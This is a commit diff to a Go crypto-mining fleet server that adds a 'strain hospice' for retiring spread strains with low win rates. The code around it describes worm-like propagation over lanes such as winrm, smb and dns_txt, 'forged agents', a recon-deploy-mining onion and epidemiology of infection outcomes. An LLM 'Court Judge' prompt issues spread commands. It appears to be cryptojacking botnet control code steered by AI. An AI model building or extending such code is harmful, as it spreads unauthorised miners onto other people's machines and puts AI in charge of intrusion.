Add Strain Hospice for graceful low-win strain retirement.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
This commit is contained in:
AetherForge
2026-06-07 09:26:39 -07:00
parent 894b7a50ae
commit d605ef4adb
18 changed files with 701 additions and 18 deletions

View File

@@ -21,6 +21,7 @@ const (
CmdSpreadGraft = "spread_graft"
CmdPersonaTweak = "persona_tweak"
CmdEnableErasure = "enable_erasure"
CmdStrainHospice = "strain_hospice"
CmdNoop = "noop"
)
@@ -38,6 +39,7 @@ var knownCommands = map[string]bool{
CmdSpreadGraft: true,
CmdPersonaTweak: true,
CmdEnableErasure: true,
CmdStrainHospice: true,
CmdNoop: true,
}

View File

@@ -182,7 +182,8 @@ func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judg
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
You must weigh their statements and issue a binding verdict with at most 3 commands.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, strain_hospice, noop.
strain_hospice args: strain_id (string, optional) — retire a chronic low-win spread strain to museum hospice; omit to retire this agent's spread_strain.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.

View File

@@ -100,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command {
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
func CourtCommandNeedsRetryElevation(cmd Command) bool {
switch cmd.Type {
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft:
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft, CmdStrainHospice:
return true
default:
return false

View File

@@ -115,6 +115,15 @@ func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPoli
if joinLane == "" {
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
}
sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain)
if sourceStrain == "" {
sourceStrain = strategy.StrainFromSpreadLane(joinLane)
}
if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil {
return strategy.GraftPolicy{}, err
} else if inHospice {
return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)")
}
hr := h.AgentMiningHashrate(targetID)
if hr <= 0 {
hr = target.MiningHashrate

View File

@@ -28,6 +28,10 @@ type ServerPolicy struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
StrainHospiceMinAttempts int
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -0,0 +1,183 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPostStrainHospiceOperatorRetirement(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("winrm")
cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}`
_, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{
SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive",
})
if err != nil {
t.Fatal(err)
}
body, _ := json.Marshal(map[string]string{
"strain_id": strain,
"reason": "dozens of variations that don't work",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostStrainHospice(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
}
ok, err := database.IsStrainInHospice(strain)
if err != nil || !ok {
t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err)
}
rec, err := database.GetStrainHospice(strain)
if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) {
t.Fatalf("record=%+v err=%v", rec, err)
}
if !strings.Contains(rec.CardJSON, `"wins"`) {
t.Fatalf("lineage card not preserved: %s", rec.CardJSON)
}
rows, err := database.ListOathLedger(5)
if err != nil || len(rows) == 0 {
t.Fatalf("oath ledger rows=%v err=%v", rows, err)
}
if rows[0].ActionType != db.OathStrainHospice {
t.Fatalf("oath action=%q", rows[0].ActionType)
}
hub.refreshHospiceBreedingCache()
reg := hub.breedingRegistry
fp := "windows|0|0|0|0|0|127.0.0"
_, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp, SpreadLane: "winrm",
TierOrder: []string{"container"}, PeakHashrate: 100,
})
if bred {
t.Fatal("hospice lane should not breed")
}
}
func TestPlayStrainCardBlockedInHospice(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("dns_txt")
if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil {
t.Fatal(err)
}
agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}`
id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{
SpreadStrain: strain, SpreadLane: "dns_txt",
})
if err != nil {
t.Fatal(err)
}
_ = hub
body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostPlayStrainCard(w, req)
if w.Code != http.StatusConflict {
t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String())
}
}
func TestGraftBlockedFromHospiceSource(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1})
strain := strategy.StrainFromSpreadLane("winrm")
if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil {
t.Fatal(err)
}
source := &models.Agent{
ID: "src", Name: "Src", Status: "online", JoinLane: "winrm",
SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(),
}
target := &models.Agent{
ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(),
}
for _, a := range []*models.Agent{source, target} {
if err := database.UpsertAgent(a); err != nil {
t.Fatal(err)
}
}
hub.mu.Lock()
hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0}
hub.mu.Unlock()
body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostFleetGraft(w, req)
var resp map[string]interface{}
_ = json.Unmarshal(w.Body.Bytes(), &resp)
if resp["success"] == true {
t.Fatalf("graft should fail for hospice source: %s", w.Body.String())
}
}
func TestMaybeAutoRetireLowWinStrains(t *testing.T) {
_, database, hub, _ := newTestFleetHandler(t)
hub.SetServerPolicy(ServerPolicy{
AIControlEnabled: true,
StrainHospiceWinRateThreshold: 0.2,
StrainHospiceMinAttempts: 3,
})
strain := "#deadbeef"
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}`
_, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain})
if err != nil {
t.Fatal(err)
}
hub.MaybeAutoRetireLowWinStrains()
ok, err := database.IsStrainInHospice(strain)
if err != nil || !ok {
t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err)
}
}
func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) {
_, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("smb")
ag := &models.Agent{
ID: "court-agent", Name: "Court", Status: "online",
SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(),
}
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
exec := &FleetAIExecutor{Hub: hub}
sum, err := exec.Execute("court-agent", fleetai.Command{
Type: fleetai.CmdStrainHospice,
Args: map[string]interface{}{"reason": "court L4 hospice vote"},
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(sum, "strain_hospice:") {
t.Fatalf("unexpected summary %q", sum)
}
ok, _ := database.IsStrainInHospice(strain)
if !ok {
t.Fatal("court command should retire strain")
}
}

View File

@@ -18,6 +18,8 @@ import (
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/epidemiology"
"crypto-miner-server/internal/mining"
"crypto-miner-server/internal/miningsurgery"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy"
@@ -175,6 +177,8 @@ type WSHub struct {
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
subnetGossipWhispers map[string][]atlas.GossipHint
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(),
epidemiology: epidemiology.NewTracker(),
miningSurgery: miningsurgery.NewTracker(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub {
pingIntervalSec: 30,
}
h.clearance = NewClearanceManager(h)
if database != nil {
h.refreshHospiceBreedingCache()
}
// Background stale-agent sweep:
// 3 minutes old but the row still says "online", force it offline.
@@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
h.attachEpidemiologyFix(resp, agentID)
h.attachMiningSelfSurgery(resp, agentID)
h.attachContingencyPolicy(resp)
return resp
}())})
@@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
ContingencyDepth int `json:"contingency_depth,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
@@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.SpreadStrain != "" {
broadcast["spread_strain"] = stats.SpreadStrain
}
if stats.ContingencyDepth > 0 {
broadcast["contingency_depth"] = stats.ContingencyDepth
}
if stats.FleetRole != "" {
broadcast["fleet_role"] = stats.FleetRole
}
@@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
})
}
h.observeEpidemiologyFromStats(agentID, epiStats)
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
h.queueStatsBroadcast(broadcast)
case "scout_report":
@@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestStrategyFromPayload(agentID, payload)
h.queueStatsBroadcast(payload)
case "self_surgery_report":
if agentID == "" {
continue
}
h.handleSelfSurgeryReport(agentID, msg.Payload)
case "onion_miner_log":
if agentID == "" {
continue
}
h.handleOnionMinerLog(agentID, msg.Payload)
case "atlas_gossip":
if agentID == "" {
continue

View File

@@ -270,6 +270,12 @@ func (d *Database) migrate() error {
if err := d.ensureStrainMemoryTable(); err != nil {
return fmt.Errorf("strain_memory migration: %w", err)
}
if err := d.ensureStrainHospiceTable(); err != nil {
return fmt.Errorf("strain_hospice migration: %w", err)
}
if err := d.ensureOathLedgerTable(); err != nil {
return fmt.Errorf("oath_ledger migration: %w", err)
}
if err := d.ensureSeerTables(); err != nil {
return fmt.Errorf("seer migration: %w", err)
}

View File

@@ -0,0 +1,177 @@
package db
import (
"database/sql"
"errors"
"strings"
"time"
)
// StrainHospiceRecord is a retired spread strain preserved for museum read-only lineage.
type StrainHospiceRecord struct {
StrainID string
RetiredAt time.Time
RetiredBy string
Reason string
CardJSON string
}
func (d *Database) ensureStrainHospiceTable() error {
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS strain_hospice (
strain_id TEXT PRIMARY KEY,
retired_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
retired_by TEXT NOT NULL,
reason TEXT NOT NULL DEFAULT '',
card_json TEXT NOT NULL DEFAULT '{}'
)`)
if err != nil {
return err
}
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_hospice_retired_at ON strain_hospice(retired_at)`)
return nil
}
// RetireStrain archives a strain to hospice (idempotent).
func (d *Database) RetireStrain(strainID, retiredBy, reason, cardJSON string) error {
if d == nil {
return errors.New("database unavailable")
}
strainID = normalizeStrainID(strainID)
if strainID == "" {
return errors.New("strain_id required")
}
retiredBy = strings.TrimSpace(retiredBy)
if retiredBy == "" {
return errors.New("retired_by required")
}
if strings.TrimSpace(cardJSON) == "" {
cardJSON = "{}"
}
now := time.Now().UTC().Format(time.RFC3339)
_, err := d.Exec(
`INSERT INTO strain_hospice (strain_id, retired_at, retired_by, reason, card_json)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT(strain_id) DO NOTHING`,
strainID, now, retiredBy, strings.TrimSpace(reason), cardJSON,
)
return err
}
// IsStrainInHospice reports whether a strain is archived.
func (d *Database) IsStrainInHospice(strainID string) (bool, error) {
if d == nil {
return false, nil
}
strainID = normalizeStrainID(strainID)
if strainID == "" {
return false, nil
}
var n int
err := d.QueryRow(`SELECT 1 FROM strain_hospice WHERE strain_id = ? LIMIT 1`, strainID).Scan(&n)
if errors.Is(err, sql.ErrNoRows) {
return false, nil
}
return err == nil, err
}
// GetStrainHospice returns one hospice row.
func (d *Database) GetStrainHospice(strainID string) (*StrainHospiceRecord, error) {
strainID = normalizeStrainID(strainID)
if strainID == "" {
return nil, sql.ErrNoRows
}
row := d.QueryRow(
`SELECT strain_id, retired_at, retired_by, reason, card_json FROM strain_hospice WHERE strain_id = ?`,
strainID,
)
return scanStrainHospice(row)
}
// ListStrainHospice returns retired strains newest first.
func (d *Database) ListStrainHospice(limit int) ([]StrainHospiceRecord, error) {
if limit <= 0 {
limit = 100
}
rows, err := d.Query(
`SELECT strain_id, retired_at, retired_by, reason, card_json
FROM strain_hospice ORDER BY retired_at DESC LIMIT ?`, limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []StrainHospiceRecord
for rows.Next() {
rec, err := scanStrainHospice(rows)
if err != nil {
return nil, err
}
out = append(out, *rec)
}
return out, rows.Err()
}
// HospiceStrainSet returns a lookup set of retired strain ids.
func (d *Database) HospiceStrainSet() (map[string]bool, error) {
rows, err := d.ListStrainHospice(500)
if err != nil {
return nil, err
}
out := make(map[string]bool, len(rows))
for _, r := range rows {
out[r.StrainID] = true
}
return out, nil
}
func normalizeStrainID(strain string) string {
s := strings.TrimSpace(strings.ToLower(strain))
if s == "" {
return ""
}
if !strings.HasPrefix(s, "#") && len(s) == 6 {
s = "#" + s
}
return s
}
type strainHospiceScanner interface {
Scan(dest ...interface{}) error
}
func scanStrainHospice(row strainHospiceScanner) (*StrainHospiceRecord, error) {
var rec StrainHospiceRecord
var retiredAt string
if err := row.Scan(&rec.StrainID, &retiredAt, &rec.RetiredBy, &rec.Reason, &rec.CardJSON); err != nil {
return nil, err
}
rec.StrainID = normalizeStrainID(rec.StrainID)
rec.RetiredAt = parseSQLiteTime(retiredAt)
return &rec, nil
}
// CardJSONForStrain finds lineage card JSON for a strain from strain_cards or hospice.
func (d *Database) CardJSONForStrain(strainID string) (string, error) {
strainID = normalizeStrainID(strainID)
if strainID == "" {
return "{}", nil
}
if rec, err := d.GetStrainHospice(strainID); err == nil && rec != nil && strings.TrimSpace(rec.CardJSON) != "" {
return rec.CardJSON, nil
}
row := d.QueryRow(
`SELECT card_json FROM strain_cards WHERE LOWER(spread_strain) = ? ORDER BY peak_hashrate DESC LIMIT 1`,
strainID,
)
var cardJSON string
if err := row.Scan(&cardJSON); err != nil {
if errors.Is(err, sql.ErrNoRows) {
return "{}", nil
}
return "", err
}
if strings.TrimSpace(cardJSON) == "" {
return "{}", nil
}
return cardJSON, nil
}

View File

@@ -44,9 +44,10 @@ type LaneWinnerInput struct {
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
type BreedingRegistry struct {
mu sync.RWMutex
lanes map[string]map[string]LaneWinner
bred map[string]BredPhenotype
mu sync.RWMutex
lanes map[string]map[string]LaneWinner
bred map[string]BredPhenotype
hospice map[string]bool
}
func NewBreedingRegistry() *BreedingRegistry {
@@ -56,6 +57,25 @@ func NewBreedingRegistry() *BreedingRegistry {
}
}
// SetHospiceStrains updates the retired-strain set used to skip breeding parents.
func (r *BreedingRegistry) SetHospiceStrains(strains map[string]bool) {
if r == nil {
return
}
r.mu.Lock()
defer r.mu.Unlock()
if len(strains) == 0 {
r.hospice = nil
return
}
r.hospice = make(map[string]bool, len(strains))
for k, v := range strains {
if v {
r.hospice[NormalizeStrainID(k)] = true
}
}
}
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
fp := strings.TrimSpace(in.Fingerprint)
@@ -63,6 +83,9 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype,
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
return BredPhenotype{}, false
}
if LaneInHospice(lane, r.hospiceSnapshot()) {
return BredPhenotype{}, false
}
winner := LaneWinner{
SpreadLane: lane,
TierOrder: append([]string(nil), in.TierOrder...),
@@ -81,7 +104,7 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype,
if len(r.lanes[fp]) < 2 {
return BredPhenotype{}, false
}
bred := breedLaneWinners(fp, r.lanes[fp])
bred := breedLaneWinners(fp, r.lanes[fp], r.hospice)
if len(bred.TierOrder) == 0 {
return BredPhenotype{}, false
}
@@ -115,9 +138,28 @@ func (r *BreedingRegistry) LaneCount(fingerprint string) int {
return len(r.lanes[fp])
}
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype {
func (r *BreedingRegistry) hospiceSnapshot() map[string]bool {
if r == nil {
return nil
}
r.mu.RLock()
defer r.mu.RUnlock()
if len(r.hospice) == 0 {
return nil
}
out := make(map[string]bool, len(r.hospice))
for k, v := range r.hospice {
out[k] = v
}
return out
}
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner, hospice map[string]bool) BredPhenotype {
parents := make([]LaneWinner, 0, len(lanes))
for _, w := range lanes {
if LaneInHospice(w.SpreadLane, hospice) {
continue
}
parents = append(parents, w)
}
sort.Slice(parents, func(i, j int) bool {

View File

@@ -0,0 +1,94 @@
package strategy
import (
"strings"
)
const (
// DefaultHospiceWinRateThreshold retires strains below 15% win rate.
DefaultHospiceWinRateThreshold = 0.15
// DefaultHospiceMinAttempts requires enough spread outcomes before auto-retire.
DefaultHospiceMinAttempts = 5
)
// StrainRetiredBy identifies who sent a strain to hospice.
type StrainRetiredBy string
const (
StrainRetiredByOperator StrainRetiredBy = "operator"
StrainRetiredByAI StrainRetiredBy = "ai"
StrainRetiredByCourt StrainRetiredBy = "court"
)
// StrainSpreadStats aggregates epidemiology wins/losses for one spread strain.
type StrainSpreadStats struct {
StrainID string
Wins int
Losses int
}
// NormalizeStrainID lowercases #RRGGBB strain identifiers.
func NormalizeStrainID(strain string) string {
s := strings.TrimSpace(strings.ToLower(strain))
if s == "" {
return ""
}
if !strings.HasPrefix(s, "#") && len(s) == 6 {
s = "#" + s
}
return s
}
// StrainFromSpreadLane maps a join/spread lane to its stable strain color id.
func StrainFromSpreadLane(lane string) string {
if s := NormalizeStrainID(SpreadStrainFromJoinLane(lane)); s != "" {
return s
}
return NormalizeStrainID(lane)
}
// LaneInHospice reports whether a spread/join lane's strain is retired.
func LaneInHospice(lane string, hospice map[string]bool) bool {
if len(hospice) == 0 {
return false
}
return hospice[StrainFromSpreadLane(lane)]
}
// StrainInHospice reports whether a strain id is in the hospice set.
func StrainInHospice(strain string, hospice map[string]bool) bool {
if len(hospice) == 0 {
return false
}
return hospice[NormalizeStrainID(strain)]
}
// StrainWinRate returns wins / (wins + losses); 1.0 when no attempts recorded.
func StrainWinRate(wins, losses int) float64 {
total := wins + losses
if total == 0 {
return 1.0
}
return float64(wins) / float64(total)
}
// ShouldAutoRetireStrain is true when AI hospice policy applies to low performers.
func ShouldAutoRetireStrain(wins, losses int, threshold float64, minAttempts int) bool {
total := wins + losses
if total < minAttempts || minAttempts <= 0 {
return false
}
if threshold <= 0 {
threshold = DefaultHospiceWinRateThreshold
}
return StrainWinRate(wins, losses) < threshold
}
// PersonaPrimaryLane returns the first spread lane for a persona preset.
func PersonaPrimaryLane(persona string) string {
order := PersonaSpreadTierOrder(persona)
if len(order) == 0 {
return ""
}
return strings.TrimSpace(order[0])
}

View File

@@ -0,0 +1,26 @@
package strategy
import "testing"
func TestShouldAutoRetireStrain(t *testing.T) {
if !ShouldAutoRetireStrain(1, 9, 0.15, 5) {
t.Fatal("10% win rate with 10 attempts should retire at 15% threshold")
}
if ShouldAutoRetireStrain(1, 3, 0.15, 5) {
t.Fatal("min attempts not met")
}
if StrainWinRate(0, 0) != 1.0 {
t.Fatalf("empty stats should be 1.0, got %v", StrainWinRate(0, 0))
}
}
func TestLaneInHospice(t *testing.T) {
strain := StrainFromSpreadLane("winrm")
hospice := map[string]bool{strain: true}
if !LaneInHospice("winrm", hospice) {
t.Fatalf("winrm strain %s should be in hospice", strain)
}
if LaneInHospice("docker", hospice) {
t.Fatal("docker lane should not match winrm hospice entry")
}
}